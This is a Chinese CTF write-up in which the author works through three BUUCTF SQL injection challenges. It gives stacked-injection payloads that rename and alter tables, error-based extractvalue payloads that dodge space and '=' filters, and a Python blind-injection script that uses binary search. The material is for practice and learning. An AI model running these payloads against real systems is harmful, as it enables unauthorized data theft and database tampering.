前段时间浅学了一下sql注入的基础,做了一些题目来巩固一下知识
目录
BUUCTF 随便注
show
堆叠注入
mysql中修改字段和表名
rename table和alter table
alter
BUUCTF[极客大挑战 2019]HardSQL
小结
BUUCTF[极客大挑战 2019]FinalSQL
第一步,尝试采用联合注入,但是发现select被过滤了,不能采用联合注入了于是采用堆叠注入而且不能用select查询,我们用show代替
#显示mysql中所有数据库的名称
show databases;
#显示当前数据库中所有表的名称
show tables;
show tables from database_name;
#显示表中列名称
show columns from table_name from database_name;
show columns from database_name.table_name;
在sql语句中分号代表一个语句的结束,我们可以采用多个;来拼接多条sql语句达到查询目标信息的作用
1';show tables;#
select * from where id='1';show tables;
如上述语句就会输出id=1的信息和当前数据库的表名
第二步,查看当前的表和字段
1';show tables;#
发现有两个表,查看各表的字段
1'; show columns from `words`;#
1'; show columns from `1919810931114514`;#
发现在19810931114514表中存在flag(如图1),words表中有两个字段(如图3,4)一个是int,一个是char与查询的数据格式相同(如图2)大胆猜测输入框中查询的是words表,因此,我们想要得到flag可以将‘1919810931114514‘改为’words’借此得到flag
在mysql中可以用rename table和alter来修改表名,alter可以修改临时表但是rename不行同一数据库下表名不能重复
rename table old_table_name to new_table_name;
alter table old_table_name rename to new_table_name;
#删除字段
alter table table_name drop column column_name;
#增加字段
alter table table_name add column column_name;
#修改字段的类型
alter table table_name change column column_name new_column 新属性;
#重命名列
alter table table_name change column old_column new_column 属性
#重命名表
alter table old_table_name rename to new_table_name
第三步修改表‘1919810931114514‘为’words’,修改flag字段为id,添加一个varchar类型的字段借此得到flag
1';rename table `words` to w;
rename table `1919810931114514` to `words`;
alter table words change column flag id varchar(100);
show tables;#
这里要注意上面的语句要一次性注入,因为查询的是words表,如是分开注入就找不到words表了,最后用万能密码得到flag
第一步,尝试万能密码,发现被过滤了,猜测过滤了空格用/**/代替发现不可以,尝试用()代替空格发现可以注入而且有报错回显,于是猜测是报错注入过滤了空格
第二步采用报错注入,发现没有连接上,看了别的题解发现web用'^’连接函数
注入以下内容得到数据库名
username=admin&password=1'^extractvalue(1,concat(0x5c,(database())));%23
第三步,获取表名,发现过滤了‘=’,用‘like'代替得到表名
1'^extractvalue(1,concat(0x5c,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))));%23
第四步,获取字段名
1'^extractvalue(1,concat(0x5c,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))));%23
第五步,获取flag发现只有一半,用right函数得到另外一半拼接得到flag
1'^extractvalue(1,concat(0x5c,(select(group_concat(password))from(H4rDsq1))));%23
1'^extractvalue(1,concat(0x5c,(select(right(password,20))from(H4rDsq1))));%23
第一步,查找注入点,这题可能的注入点有两个,其中一个为账号密码登录,另一个是id
用bp进行fuzz测试发现注入点是/search.php?id=,并且发现^没有被过滤,可以用^进行盲注
第二步,尝试寻找注入成功的回显页面,已知1^1=0,0^0=0,1^0=1,当后面的语句返回为0时(错误)会出现当前页面‘Click';当后面的语句返回为1(正确)时会出现’ERROR'
所以我们可构造python脚本,本来是没有使用二分法,但是发现之前的方法会跳过一些字符所以借鉴了别的大佬的脚本
import string
import requests
s=string.ascii_lowercase+string.digits+'{-,}'
url="http://bee5bb8f-43d5-488e-9af1-626a6428d6ac.node4.buuoj.cn:81/search.php?"
flag=""
i=0
while True:
i+=1
begin=32#从可打印字符开始
end=126
tmp=(begin+end) // 2
print(i)
while begin < end:
#爆库名
#id=1^(ascii(substr(database(),%d,1))>%d)
#geek
#爆表名
#id=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='geek')),%d,1))>%d)
#F1naI1y,Flaaaaag
#爆字段名
#id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='Flaaaaag')),%d,1))>%d)
#id=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)
#Flaaaaag:id,fl4gawsl F1naI1y:id,username,password
#获取flag
#id=1^(ascii(substr((select(group_concat(password))from(F1naI1y)where(username='flag')),%d,1))>%d)
u=url+"id=1^(ascii(substr(database(),%d,1))>%d)" % (i,tmp)
r=requests.get(u)
if "ERROR" in r.text:#如正确,说明该字母大于tmp
begin=tmp+1
tmp=(begin+end)//2
else:
end=tmp
tmp=(begin+end)//2
flag += chr(tmp)
print(flag)
if begin == 32:#查找结束
break